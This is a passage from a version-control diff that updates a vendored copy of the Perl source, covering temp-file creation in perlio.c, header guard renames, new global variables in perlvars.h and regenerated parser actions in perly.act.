      if (tmpdir && *tmpdir) {
 	 /* if TMPDIR is set and not empty, we try that first */
 	 sv = newSVpv(tmpdir, 0);
 	 sv_catpv(sv, tempname + 4);
-	 fd = mkstemp(SvPVX(sv));
+	 fd = Perl_my_mkstemp_cloexec(SvPVX(sv));
      }
      if (fd < 0) {
 	 SvREFCNT_dec(sv);
 	 sv = NULL;
 	 /* else we try /tmp */
-	 fd = mkstemp(tempname);
+	 fd = Perl_my_mkstemp_cloexec(tempname);
      }
      if (fd < 0) {
          /* Try cwd */
          sv = newSVpvs(".");
          sv_catpv(sv, tempname + 4);
-         fd = mkstemp(SvPVX(sv));
+         fd = Perl_my_mkstemp_cloexec(SvPVX(sv));
      }
      umask(old_umask);
      if (fd >= 0) {
@@ -5094,13 +5077,12 @@
 	  PerlLIO_unlink(sv ? SvPVX_const(sv) : tempname);
      }
      SvREFCNT_dec(sv);
-#    else	/* !HAS_MKSTEMP, fallback to stdio tmpfile(). */
+#else	/* !HAS_MKSTEMP, fallback to stdio tmpfile(). */
      FILE * const stdio = PerlSIO_tmpfile();
 
      if (stdio)
 	  f = PerlIO_fdopen(fileno(stdio), "w+");
 
-#    endif /* else HAS_MKSTEMP */
 #endif /* else WIN32 */
      return f;
 }
@@ -5241,26 +5223,6 @@
 }
 #endif
 
-#if !defined(HAS_VPRINTF)
-
-int
-vprintf(char *pat, char *args)
-{
-    _doprnt(pat, args, stdout);
-    return 0;                   /* wrong, but perl doesn't use the return
-				 * value */
-}
-
-int
-vfprintf(FILE *fd, char *pat, char *args)
-{
-    _doprnt(pat, args, fd);
-    return 0;                   /* wrong, but perl doesn't use the return
-				 * value */
-}
-
-#endif
-
 /* print a failure format string message to stderr and fail exit the process
    using only libc without depending on any perl data structures being
    initialized.

Modified: vendor/perl/dist/perlio.h
===================================================================
--- vendor/perl/dist/perlio.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/perlio.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,8 +8,8 @@
  *
  */
 
-#ifndef _PERLIO_H
-#define _PERLIO_H
+#ifndef PERLIO_H_
+#define PERLIO_H_
 /*
   Interface for perl to IO functions.
   There is a hierarchy of Configure determined #define controls:
@@ -336,7 +336,7 @@
 #endif
 
 END_EXTERN_C
-#endif				/* _PERLIO_H */
+#endif				/* PERLIO_H_ */
 
 /*
  * ex: set ts=8 sts=4 sw=4 et:

Modified: vendor/perl/dist/perliol.h
===================================================================
--- vendor/perl/dist/perliol.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/perliol.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
-#ifndef _PERLIOL_H
-#define _PERLIOL_H
+#ifndef PERLIOL_H_
+#define PERLIOL_H_
 
 typedef struct {
     PerlIO_funcs *funcs;
@@ -286,7 +286,7 @@
 /* Utf8 */
 PERL_CALLCONV IV        PerlIOUtf8_pushed(pTHX_ PerlIO *f, const char *mode, SV *arg, PerlIO_funcs *tab);
 
-#endif				/* _PERLIOL_H */
+#endif				/* PERLIOL_H_ */
 
 /*
  * ex: set ts=8 sts=4 sw=4 et:

Modified: vendor/perl/dist/perlvars.h
===================================================================
--- vendor/perl/dist/perlvars.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/perlvars.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -99,12 +99,16 @@
 
 #if defined(USE_ITHREADS)
 PERLVAR(G, hints_mutex, perl_mutex)    /* Mutex for refcounted he refcounting */
+#  if ! defined(USE_THREAD_SAFE_LOCALE) || defined(TS_W32_BROKEN_LOCALECONV)
 PERLVAR(G, locale_mutex, perl_mutex)   /* Mutex for setlocale() changing */
+#  endif
+#  ifndef USE_THREAD_SAFE_LOCALE
+PERLVAR(G, lc_numeric_mutex, perl_mutex)   /* Mutex for switching LC_NUMERIC */
+#  endif
+#endif
 
-#   ifdef HAS_NEWLOCALE
+#ifdef USE_POSIX_2008_LOCALE
 PERLVAR(G, C_locale_obj, locale_t)
-#   endif
-
 #endif
 
 #ifdef DEBUGGING
@@ -223,9 +227,15 @@
 handle keywords, and only the last function in the chain (built into
 the Perl core) will normally return C<KEYWORD_PLUGIN_DECLINE>.
 
+For thread safety, modules should not set this variable directly.
+Instead, use the function L</wrap_keyword_plugin>.
+
 =cut
 */
 
+#if defined(USE_ITHREADS)
+PERLVAR(G, keyword_plugin_mutex, perl_mutex)   /* Mutex for PL_keyword_plugin */
+#endif
 PERLVARI(G, keyword_plugin, Perl_keyword_plugin_t, Perl_keyword_plugin_standard)
 
 PERLVARI(G, op_sequence, HV *, NULL)	/* dump.c */
@@ -248,6 +258,12 @@
 
 PERLVARI(G, hash_seed_set, bool, FALSE)	/* perl.c */
 PERLVARA(G, hash_seed, PERL_HASH_SEED_BYTES, unsigned char) /* perl.c and hv.h */
+#if defined(PERL_HASH_STATE_BYTES)
+PERLVARA(G, hash_state, PERL_HASH_STATE_BYTES, unsigned char) /* perl.c and hv.h */
+#endif
+#if defined(PERL_USE_SINGLE_CHAR_HASH_CACHE)
+PERLVARA(G, hash_chars, (1+256) * sizeof(U32), unsigned char) /* perl.c and hv.h */
+#endif
 
 /* The path separator can vary depending on whether we're running under DCL or
  * a Unix shell.
@@ -255,3 +271,38 @@
 #ifdef __VMS
 PERLVAR(G, perllib_sep, char)
 #endif
+
+PERLVAR(G, AboveLatin1,	SV *)
+PERLVAR(G, Assigned_invlist, SV *)
+PERLVAR(G, GCB_invlist, SV *)
+PERLVAR(G, HasMultiCharFold,   SV *)
+PERLVAR(G, Latin1,	SV *)
+PERLVAR(G, LB_invlist, SV *)
+PERLVAR(G, NonL1NonFinalFold,   SV *)
+PERLVAR(G, SB_invlist, SV *)
+PERLVAR(G, SCX_invlist, SV *)
+PERLVAR(G, UpperLatin1,	SV *)   /* Code points 128 - 255 */
+
+/* List of characters that participate in folds (except marks, etc in
+ * multi-char folds) */
+PERLVARI(G, utf8_foldable, SV *, NULL)
+
+PERLVAR(G, utf8_idcont,	SV *)
+PERLVAR(G, utf8_idstart, SV *)
+PERLVAR(G, utf8_perl_idcont, SV *)
+PERLVAR(G, utf8_perl_idstart, SV *)
+PERLVAR(G, utf8_xidcont, SV *)
+PERLVAR(G, utf8_xidstart, SV *)
+PERLVAR(G, WB_invlist, SV *)
+PERLVARA(G, XPosix_ptrs, POSIX_CC_COUNT, SV *)
+PERLVAR(G, utf8_toupper, SV *)
+PERLVAR(G, utf8_totitle, SV *)
+PERLVAR(G, utf8_tolower, SV *)
+PERLVAR(G, utf8_tofold,	SV *)
+PERLVAR(G, utf8_tosimplefold,	SV *)
+PERLVAR(G, utf8_charname_begin, SV *)
+PERLVAR(G, utf8_charname_continue, SV *)
+
+/* Everything that folds to a given character, for case insensitivity regex
+ * matching */
+PERLVAR(G, utf8_foldclosures, SV *)

Modified: vendor/perl/dist/perly.act
===================================================================
--- vendor/perl/dist/perly.act	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/perly.act	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,15 +5,16 @@
  */
 
 case 2:
-#line 118 "perly.y" /* yacc.c:1646  */
+#line 119 "perly.y" /* yacc.c:1646  */
     {
 			  parser->expect = XSTATE;
+                          (yyval.ival) = 0;
 			}
 
     break;
 
   case 3:
-#line 122 "perly.y" /* yacc.c:1646  */
+#line 124 "perly.y" /* yacc.c:1646  */
     {
 			  newPROG(block_end((ps[-1].val.ival),(ps[0].val.opval)));
 			  PL_compiling.cop_seq = 0;
@@ -23,15 +24,16 @@
     break;
 
   case 4:
-#line 128 "perly.y" /* yacc.c:1646  */
+#line 130 "perly.y" /* yacc.c:1646  */
     {
 			  parser->expect = XTERM;
+                          (yyval.ival) = 0;
 			}
 
     break;
 
   case 5:
-#line 132 "perly.y" /* yacc.c:1646  */
+#line 135 "perly.y" /* yacc.c:1646  */
     {
 			  PL_eval_root = (ps[0].val.opval);
 			  (yyval.ival) = 0;
@@ -40,15 +42,16 @@
     break;
 
   case 6:
-#line 137 "perly.y" /* yacc.c:1646  */
+#line 140 "perly.y" /* yacc.c:1646  */
     {
 			  parser->expect = XBLOCK;
+                          (yyval.ival) = 0;
 			}
 
     break;
 
   case 7:
-#line 141 "perly.y" /* yacc.c:1646  */
+#line 145 "perly.y" /* yacc.c:1646  */
     {
 			  PL_pad_reset_pending = TRUE;
 			  PL_eval_root = (ps[0].val.opval);
@@ -60,15 +63,16 @@
     break;
 
   case 8:
-#line 149 "perly.y" /* yacc.c:1646  */
+#line 153 "perly.y" /* yacc.c:1646  */
     {
 			  parser->expect = XSTATE;
+                          (yyval.ival) = 0;
 			}
 
     break;
 
   case 9:
-#line 153 "perly.y" /* yacc.c:1646  */
+#line 158 "perly.y" /* yacc.c:1646  */
     {
 			  PL_pad_reset_pending = TRUE;
 			  PL_eval_root = (ps[0].val.opval);
@@ -80,15 +84,16 @@
     break;
 
   case 10:
-#line 161 "perly.y" /* yacc.c:1646  */
+#line 166 "perly.y" /* yacc.c:1646  */
     {
 			  parser->expect = XSTATE;
+                          (yyval.ival) = 0;
 			}
 
     break;
 
   case 11:
-#line 165 "perly.y" /* yacc.c:1646  */
+#line 171 "perly.y" /* yacc.c:1646  */
     {
 			  PL_pad_reset_pending = TRUE;
 			  PL_eval_root = (ps[0].val.opval);
@@ -100,15 +105,16 @@
     break;
 
   case 12:
-#line 173 "perly.y" /* yacc.c:1646  */
+#line 179 "perly.y" /* yacc.c:1646  */
     {
 			  parser->expect = XSTATE;
+                          (yyval.ival) = 0;
 			}
 
     break;
 
   case 13:
-#line 177 "perly.y" /* yacc.c:1646  */
+#line 184 "perly.y" /* yacc.c:1646  */
     {
 			  PL_eval_root = (ps[0].val.opval);
 			  (yyval.ival) = 0;
@@ -117,7 +123,7 @@
     break;
 
   case 14:
-#line 185 "perly.y" /* yacc.c:1646  */
+#line 192 "perly.y" /* yacc.c:1646  */
     { if (parser->copline > (line_t)(ps[-3].val.ival))
 			      parser->copline = (line_t)(ps[-3].val.ival);
 			  (yyval.opval) = block_end((ps[-2].val.ival), (ps[-1].val.opval));
@@ -126,7 +132,7 @@
     break;
 
   case 15:
-#line 193 "perly.y" /* yacc.c:1646  */
+#line 200 "perly.y" /* yacc.c:1646  */
     { if (parser->copline > (line_t)(ps[-6].val.ival))
 			      parser->copline = (line_t)(ps[-6].val.ival);
 			  (yyval.opval) = block_end((ps[-5].val.ival), (ps[-2].val.opval));
@@ -135,7 +141,7 @@
     break;
 
   case 16:
-#line 200 "perly.y" /* yacc.c:1646  */
+#line 207 "perly.y" /* yacc.c:1646  */
     { (yyval.ival) = block_start(TRUE);
 			  parser->parsed_sub = 0; }
 
@@ -142,7 +148,7 @@
     break;
 
   case 17:
-#line 205 "perly.y" /* yacc.c:1646  */
+#line 212 "perly.y" /* yacc.c:1646  */
     { if (parser->copline > (line_t)(ps[-3].val.ival))
 			      parser->copline = (line_t)(ps[-3].val.ival);
 			  (yyval.opval) = block_end((ps[-2].val.ival), (ps[-1].val.opval));
@@ -151,7 +157,7 @@
     break;
 
   case 18:
-#line 212 "perly.y" /* yacc.c:1646  */
+#line 219 "perly.y" /* yacc.c:1646  */
     { (yyval.ival) = block_start(FALSE);
 			  parser->parsed_sub = 0; }
 
@@ -158,13 +164,13 @@
     break;
 
   case 19:
-#line 218 "perly.y" /* yacc.c:1646  */
+#line 225 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = NULL; }
 
     break;
 
   case 20:
-#line 220 "perly.y" /* yacc.c:1646  */
+#line 227 "perly.y" /* yacc.c:1646  */
     {   (yyval.opval) = op_append_list(OP_LINESEQ, (ps[-1].val.opval), (ps[0].val.opval));
 			    PL_pad_reset_pending = TRUE;
 			    if ((ps[-1].val.opval) && (ps[0].val.opval))
@@ -174,13 +180,13 @@
     break;
 
   case 21:
-#line 229 "perly.y" /* yacc.c:1646  */
+#line 236 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = NULL; }
 
     break;
 
   case 22:
-#line 231 "perly.y" /* yacc.c:1646  */
+#line 238 "perly.y" /* yacc.c:1646  */
     {   (yyval.opval) = op_append_list(OP_LINESEQ, (ps[-1].val.opval), (ps[0].val.opval));
 			    PL_pad_reset_pending = TRUE;
 			    if ((ps[-1].val.opval) && (ps[0].val.opval))
@@ -190,7 +196,7 @@
     break;
 
   case 23:
-#line 240 "perly.y" /* yacc.c:1646  */
+#line 247 "perly.y" /* yacc.c:1646  */
     {
 			  (yyval.opval) = (ps[0].val.opval) ? newSTATEOP(0, NULL, (ps[0].val.opval)) : NULL;
 			}
@@ -198,13 +204,13 @@
     break;
 
   case 24:
-#line 244 "perly.y" /* yacc.c:1646  */
+#line 251 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[0].val.opval); }
 
     break;
 
   case 25:
-#line 248 "perly.y" /* yacc.c:1646  */
+#line 255 "perly.y" /* yacc.c:1646  */
     {
 			  (yyval.opval) = newSTATEOP(SVf_UTF8 * (ps[-1].val.pval)[strlen((ps[-1].val.pval))+1], (ps[-1].val.pval), (ps[0].val.opval));
 			}
@@ -212,7 +218,7 @@
     break;
 
   case 26:
-#line 252 "perly.y" /* yacc.c:1646  */
+#line 259 "perly.y" /* yacc.c:1646  */
     {
 			  (yyval.opval) = newSTATEOP(SVf_UTF8 * (ps[-1].val.pval)[strlen((ps[-1].val.pval))+1], (ps[-1].val.pval), (ps[0].val.opval));
 			}
@@ -220,13 +226,13 @@
     break;
 
   case 27:
-#line 259 "perly.y" /* yacc.c:1646  */
+#line 266 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[0].val.opval); }
 
     break;
 
   case 28:
-#line 261 "perly.y" /* yacc.c:1646  */
+#line 268 "perly.y" /* yacc.c:1646  */
     {
 			  CV *fmtcv = PL_compcv;
 			  newFORM((ps[-2].val.ival), (ps[-1].val.opval), (ps[0].val.opval));
@@ -240,25 +246,9 @@
     break;
 
   case 29:
-#line 271 "perly.y" /* yacc.c:1646  */
+#line 280 "perly.y" /* yacc.c:1646  */
     {
-			  if ((ps[-1].val.opval)->op_type == OP_CONST) {
-			    const char *const name =
-				SvPV_nolen_const(((SVOP*)(ps[-1].val.opval))->op_sv);
-			    if (strEQ(name, "BEGIN") || strEQ(name, "END")
-			      || strEQ(name, "INIT") || strEQ(name, "CHECK")
-			      || strEQ(name, "UNITCHECK"))
-			      CvSPECIAL_on(PL_compcv);
-			  }
-			  else
-			  /* State subs inside anonymous subs need to be
-			     clonable themselves. */
-			  if (CvANON(CvOUTSIDE(PL_compcv))
-			   || CvCLONE(CvOUTSIDE(PL_compcv))
-			   || !PadnameIsSTATE(PadlistNAMESARRAY(CvPADLIST(
-						CvOUTSIDE(PL_compcv)
-					     ))[(ps[-1].val.opval)->op_targ]))
-			      CvCLONE_on(PL_compcv);
+                          init_named_cv(PL_compcv, (ps[-1].val.opval));
 			  parser->in_my = 0;
 			  parser->in_my_stash = NULL;
 			}
@@ -266,7 +256,7 @@
     break;
 
   case 30:
-#line 293 "perly.y" /* yacc.c:1646  */
+#line 286 "perly.y" /* yacc.c:1646  */
     {
 			  SvREFCNT_inc_simple_void(PL_compcv);
 			  (ps[-5].val.opval)->op_type == OP_CONST
@@ -281,25 +271,9 @@
     break;
 
   case 31:
-#line 304 "perly.y" /* yacc.c:1646  */
+#line 301 "perly.y" /* yacc.c:1646  */
     {
-			  if ((ps[-1].val.opval)->op_type == OP_CONST) {
-			    const char *const name =
-				SvPV_nolen_const(((SVOP*)(ps[-1].val.opval))->op_sv);
-			    if (strEQ(name, "BEGIN") || strEQ(name, "END")
-			      || strEQ(name, "INIT") || strEQ(name, "CHECK")
-			      || strEQ(name, "UNITCHECK"))
-			      CvSPECIAL_on(PL_compcv);
-			  }
-			  else
-			  /* State subs inside anonymous subs need to be
-			     clonable themselves. */
-			  if (CvANON(CvOUTSIDE(PL_compcv))
-			   || CvCLONE(CvOUTSIDE(PL_compcv))
-			   || !PadnameIsSTATE(PadlistNAMESARRAY(CvPADLIST(
-						CvOUTSIDE(PL_compcv)
-					     ))[(ps[-1].val.opval)->op_targ]))
-			      CvCLONE_on(PL_compcv);
+                          init_named_cv(PL_compcv, (ps[-1].val.opval));
 			  parser->in_my = 0;
 			  parser->in_my_stash = NULL;
 			}
@@ -307,18 +281,12 @@
     break;
 
   case 32:
-#line 326 "perly.y" /* yacc.c:1646  */
+#line 307 "perly.y" /* yacc.c:1646  */
     {
-			  OP *body;
-			  if (parser->copline > (line_t)(ps[-2].val.ival))
-			      parser->copline = (line_t)(ps[-2].val.ival);
-			  body = block_end((ps[-5].val.ival),
-				op_append_list(OP_LINESEQ, (ps[-4].val.opval), (ps[-1].val.opval)));
-
 			  SvREFCNT_inc_simple_void(PL_compcv);
-			  (ps[-8].val.opval)->op_type == OP_CONST
-			      ? newATTRSUB((ps[-7].val.ival), (ps[-8].val.opval), NULL, (ps[-3].val.opval), body)
-			      : newMYSUB((ps[-7].val.ival), (ps[-8].val.opval), NULL, (ps[-3].val.opval), body)
+			  (ps[-4].val.opval)->op_type == OP_CONST
+			      ? newATTRSUB((ps[-3].val.ival), (ps[-4].val.opval), NULL, (ps[-1].val.opval), (ps[0].val.opval))
+			      : newMYSUB(  (ps[-3].val.ival), (ps[-4].val.opval), NULL, (ps[-1].val.opval), (ps[0].val.opval))
 			  ;
 			  (yyval.opval) = NULL;
 			  intro_my();
@@ -328,7 +296,7 @@
     break;
 
   case 33:
-#line 343 "perly.y" /* yacc.c:1646  */
+#line 318 "perly.y" /* yacc.c:1646  */
     {
 			  package((ps[-1].val.opval));
 			  if ((ps[-2].val.opval))
@@ -339,13 +307,13 @@
     break;
 
   case 34:
-#line 350 "perly.y" /* yacc.c:1646  */
+#line 325 "perly.y" /* yacc.c:1646  */
     { CvSPECIAL_on(PL_compcv); /* It's a BEGIN {} */ }
 
     break;
 
   case 35:
-#line 352 "perly.y" /* yacc.c:1646  */
+#line 327 "perly.y" /* yacc.c:1646  */
     {
 			  SvREFCNT_inc_simple_void(PL_compcv);
 			  utilize((ps[-6].val.ival), (ps[-5].val.ival), (ps[-3].val.opval), (ps[-2].val.opval), (ps[-1].val.opval));
@@ -356,7 +324,7 @@
     break;
 
   case 36:
-#line 359 "perly.y" /* yacc.c:1646  */
+#line 334 "perly.y" /* yacc.c:1646  */
     {
 			  (yyval.opval) = block_end((ps[-4].val.ival),
 			      newCONDOP(0, (ps[-3].val.opval), op_scope((ps[-1].val.opval)), (ps[0].val.opval)));
@@ -366,7 +334,7 @@
     break;
 
   case 37:
-#line 365 "perly.y" /* yacc.c:1646  */
+#line 340 "perly.y" /* yacc.c:1646  */
     {
 			  (yyval.opval) = block_end((ps[-4].val.ival),
                               newCONDOP(0, (ps[-3].val.opval), (ps[0].val.opval), op_scope((ps[-1].val.opval))));
@@ -376,7 +344,7 @@
     break;
 
   case 38:
-#line 371 "perly.y" /* yacc.c:1646  */
+#line 346 "perly.y" /* yacc.c:1646  */
     {
 			  (yyval.opval) = block_end((ps[-3].val.ival), newGIVENOP((ps[-2].val.opval), op_scope((ps[0].val.opval)), 0));
 			  parser->copline = (line_t)(ps[-5].val.ival);
@@ -385,19 +353,19 @@
     break;
 
   case 39:
-#line 376 "perly.y" /* yacc.c:1646  */
+#line 351 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = block_end((ps[-3].val.ival), newWHENOP((ps[-2].val.opval), op_scope((ps[0].val.opval)))); }
 
     break;
 
   case 40:
-#line 378 "perly.y" /* yacc.c:1646  */
+#line 353 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newWHENOP(0, op_scope((ps[0].val.opval))); }
 
     break;
 
   case 41:
-#line 380 "perly.y" /* yacc.c:1646  */
+#line 355 "perly.y" /* yacc.c:1646  */
     {
 			  (yyval.opval) = block_end((ps[-5].val.ival),
 				  newWHILEOP(0, 1, NULL,
@@ -408,7 +376,7 @@
     break;
 
   case 42:
-#line 387 "perly.y" /* yacc.c:1646  */
+#line 362 "perly.y" /* yacc.c:1646  */
     {
 			  (yyval.opval) = block_end((ps[-5].val.ival),
 				  newWHILEOP(0, 1, NULL,
@@ -419,19 +387,19 @@
     break;
 
   case 43:
-#line 394 "perly.y" /* yacc.c:1646  */
+#line 369 "perly.y" /* yacc.c:1646  */
     { parser->expect = XTERM; }
 
     break;
 
   case 44:
-#line 396 "perly.y" /* yacc.c:1646  */
+#line 371 "perly.y" /* yacc.c:1646  */
     { parser->expect = XTERM; }
 
     break;
 
   case 45:
-#line 399 "perly.y" /* yacc.c:1646  */
+#line 374 "perly.y" /* yacc.c:1646  */
     {
 			  OP *initop = (ps[-9].val.opval);
 			  OP *forop = newWHILEOP(0, 1, NULL,
@@ -450,7 +418,7 @@
     break;
 
   case 46:
-#line 414 "perly.y" /* yacc.c:1646  */
+#line 389 "perly.y" /* yacc.c:1646  */
     {
 			  (yyval.opval) = block_end((ps[-6].val.ival), newFOROP(0, (ps[-5].val.opval), (ps[-3].val.opval), (ps[-1].val.opval), (ps[0].val.opval)));
 			  parser->copline = (line_t)(ps[-8].val.ival);
@@ -459,7 +427,7 @@
     break;
 
   case 47:
-#line 419 "perly.y" /* yacc.c:1646  */
+#line 394 "perly.y" /* yacc.c:1646  */
     {
 			  (yyval.opval) = block_end((ps[-4].val.ival), newFOROP(0,
 				      op_lvalue((ps[-6].val.opval), OP_ENTERLOOP), (ps[-3].val.opval), (ps[-1].val.opval), (ps[0].val.opval)));
@@ -469,13 +437,13 @@
     break;
 
   case 48:
-#line 425 "perly.y" /* yacc.c:1646  */
+#line 400 "perly.y" /* yacc.c:1646  */
     { parser->in_my = 0; (yyval.opval) = my((ps[0].val.opval)); }
 
     break;
 
   case 49:
-#line 427 "perly.y" /* yacc.c:1646  */
+#line 402 "perly.y" /* yacc.c:1646  */
     {
 			  (yyval.opval) = block_end(
 				(ps[-7].val.ival),
@@ -492,7 +460,7 @@
     break;
 
   case 50:
-#line 440 "perly.y" /* yacc.c:1646  */
+#line 415 "perly.y" /* yacc.c:1646  */
     {
 			  (yyval.opval) = block_end((ps[-4].val.ival), newFOROP(
 				0, op_lvalue(newUNOP(OP_REFGEN, 0,
@@ -504,7 +472,7 @@
     break;
 
   case 51:
-#line 448 "perly.y" /* yacc.c:1646  */
+#line 423 "perly.y" /* yacc.c:1646  */
     {
 			  (yyval.opval) = block_end((ps[-4].val.ival),
 				  newFOROP(0, NULL, (ps[-3].val.opval), (ps[-1].val.opval), (ps[0].val.opval)));
@@ -514,7 +482,7 @@
     break;
 
   case 52:
-#line 454 "perly.y" /* yacc.c:1646  */
+#line 429 "perly.y" /* yacc.c:1646  */
     {
 			  /* a block is a loop that happens once */
 			  (yyval.opval) = newWHILEOP(0, 1, NULL,
@@ -524,7 +492,7 @@
     break;
 
   case 53:
-#line 460 "perly.y" /* yacc.c:1646  */
+#line 435 "perly.y" /* yacc.c:1646  */
     {
 			  package((ps[-2].val.opval));
 			  if ((ps[-3].val.opval)) {
@@ -535,7 +503,7 @@
     break;
 
   case 54:
-#line 467 "perly.y" /* yacc.c:1646  */
+#line 442 "perly.y" /* yacc.c:1646  */
     {
 			  /* a block is a loop that happens once */
 			  (yyval.opval) = newWHILEOP(0, 1, NULL,
@@ -547,7 +515,7 @@
     break;
 
   case 55:
-#line 475 "perly.y" /* yacc.c:1646  */
+#line 450 "perly.y" /* yacc.c:1646  */
     {
 			  (yyval.opval) = (ps[-1].val.opval);
 			}
@@ -555,8 +523,17 @@
     break;
 
   case 56:
-#line 479 "perly.y" /* yacc.c:1646  */
+#line 454 "perly.y" /* yacc.c:1646  */
     {
+			  (yyval.opval) = newLISTOP(OP_DIE, 0, newOP(OP_PUSHMARK, 0),
+				newSVOP(OP_CONST, 0, newSVpvs("Unimplemented")));
+			}
+
+    break;
+
+  case 57:
+#line 459 "perly.y" /* yacc.c:1646  */
+    {
 			  (yyval.opval) = NULL;
 			  parser->copline = NOLINE;
 			}
@@ -563,8 +540,8 @@
 
     break;
 
-  case 57:
-#line 487 "perly.y" /* yacc.c:1646  */
+  case 58:
+#line 467 "perly.y" /* yacc.c:1646  */
     { OP *list;
 			  if ((ps[0].val.opval)) {
 			      OP *term = (ps[0].val.opval);
@@ -582,75 +559,75 @@
 
     break;
 
-  case 58:
-#line 504 "perly.y" /* yacc.c:1646  */
+  case 59:
+#line 484 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = NULL; }
 
     break;
 
-  case 59:
-#line 506 "perly.y" /* yacc.c:1646  */
+  case 60:
+#line 486 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = op_unscope((ps[-1].val.opval)); }
 
     break;
 
-  case 60:
-#line 511 "perly.y" /* yacc.c:1646  */
+  case 61:
+#line 491 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = NULL; }
 
     break;
 
-  case 61:
-#line 513 "perly.y" /* yacc.c:1646  */
+  case 62:
+#line 493 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[0].val.opval); }
 
     break;
 
-  case 62:
-#line 515 "perly.y" /* yacc.c:1646  */
+  case 63:
+#line 495 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newLOGOP(OP_AND, 0, (ps[0].val.opval), (ps[-2].val.opval)); }
 
     break;
 
-  case 63:
-#line 517 "perly.y" /* yacc.c:1646  */
+  case 64:
+#line 497 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newLOGOP(OP_OR, 0, (ps[0].val.opval), (ps[-2].val.opval)); }
 
     break;
 
-  case 64:
-#line 519 "perly.y" /* yacc.c:1646  */
+  case 65:
+#line 499 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newLOOPOP(OPf_PARENS, 1, scalar((ps[0].val.opval)), (ps[-2].val.opval)); }
 
     break;
 
-  case 65:
-#line 521 "perly.y" /* yacc.c:1646  */
+  case 66:
+#line 501 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newLOOPOP(OPf_PARENS, 1, (ps[0].val.opval), (ps[-2].val.opval)); }
 
     break;
 
-  case 66:
-#line 523 "perly.y" /* yacc.c:1646  */
+  case 67:
+#line 503 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newFOROP(0, NULL, (ps[0].val.opval), (ps[-2].val.opval), NULL);
 			  parser->copline = (line_t)(ps[-1].val.ival); }
 
     break;
 
-  case 67:
-#line 526 "perly.y" /* yacc.c:1646  */
+  case 68:
+#line 506 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newWHENOP((ps[0].val.opval), op_scope((ps[-2].val.opval))); }
 
     break;
 
-  case 68:
-#line 531 "perly.y" /* yacc.c:1646  */
+  case 69:
+#line 511 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = NULL; }
 
     break;
 
-  case 69:
-#line 533 "perly.y" /* yacc.c:1646  */
+  case 70:
+#line 513 "perly.y" /* yacc.c:1646  */
     {
 			  ((ps[0].val.opval))->op_flags |= OPf_PARENS;
 			  (yyval.opval) = op_scope((ps[0].val.opval));
@@ -658,8 +635,8 @@
 
     break;
 
-  case 70:
-#line 538 "perly.y" /* yacc.c:1646  */
+  case 71:
+#line 518 "perly.y" /* yacc.c:1646  */
     { parser->copline = (line_t)(ps[-5].val.ival);
 			    (yyval.opval) = newCONDOP(0,
 				newSTATEOP(OPf_SPECIAL,NULL,(ps[-3].val.opval)),
@@ -669,20 +646,20 @@
 
     break;
 
-  case 71:
-#line 548 "perly.y" /* yacc.c:1646  */
+  case 72:
+#line 528 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = NULL; }
 
     break;
 
-  case 72:
-#line 550 "perly.y" /* yacc.c:1646  */
+  case 73:
+#line 530 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = op_scope((ps[0].val.opval)); }
 
     break;
 
-  case 73:
-#line 555 "perly.y" /* yacc.c:1646  */
+  case 74:
+#line 535 "perly.y" /* yacc.c:1646  */
     { (yyval.ival) = (PL_min_intro_pending &&
 			    PL_max_intro_pending >=  PL_min_intro_pending);
 			  intro_my(); }
@@ -689,14 +666,14 @@
 
     break;
 
-  case 74:
-#line 561 "perly.y" /* yacc.c:1646  */
+  case 75:
+#line 541 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = NULL; }
 
     break;
 
-  case 76:
-#line 567 "perly.y" /* yacc.c:1646  */
+  case 77:
+#line 547 "perly.y" /* yacc.c:1646  */
     { YYSTYPE tmplval;
 			  (void)scan_num("1", &tmplval);
 			  (yyval.opval) = tmplval.opval; }
@@ -703,119 +680,119 @@
 
     break;
 
-  case 78:
-#line 575 "perly.y" /* yacc.c:1646  */
+  case 79:
+#line 555 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = invert(scalar((ps[0].val.opval))); }
 
     break;
 
-  case 79:
-#line 580 "perly.y" /* yacc.c:1646  */
+  case 80:
+#line 560 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[0].val.opval); intro_my(); }
 
     break;
 
-  case 80:
-#line 584 "perly.y" /* yacc.c:1646  */
+  case 81:
+#line 564 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[0].val.opval); intro_my(); }
 
     break;
 
-  case 81:
-#line 587 "perly.y" /* yacc.c:1646  */
+  case 82:
+#line 567 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[0].val.opval); }
 
     break;
 
-  case 82:
-#line 588 "perly.y" /* yacc.c:1646  */
+  case 83:
+#line 568 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = NULL; }
 
     break;
 
-  case 83:
-#line 592 "perly.y" /* yacc.c:1646  */
+  case 84:
+#line 572 "perly.y" /* yacc.c:1646  */
     { (yyval.ival) = start_subparse(FALSE, 0);
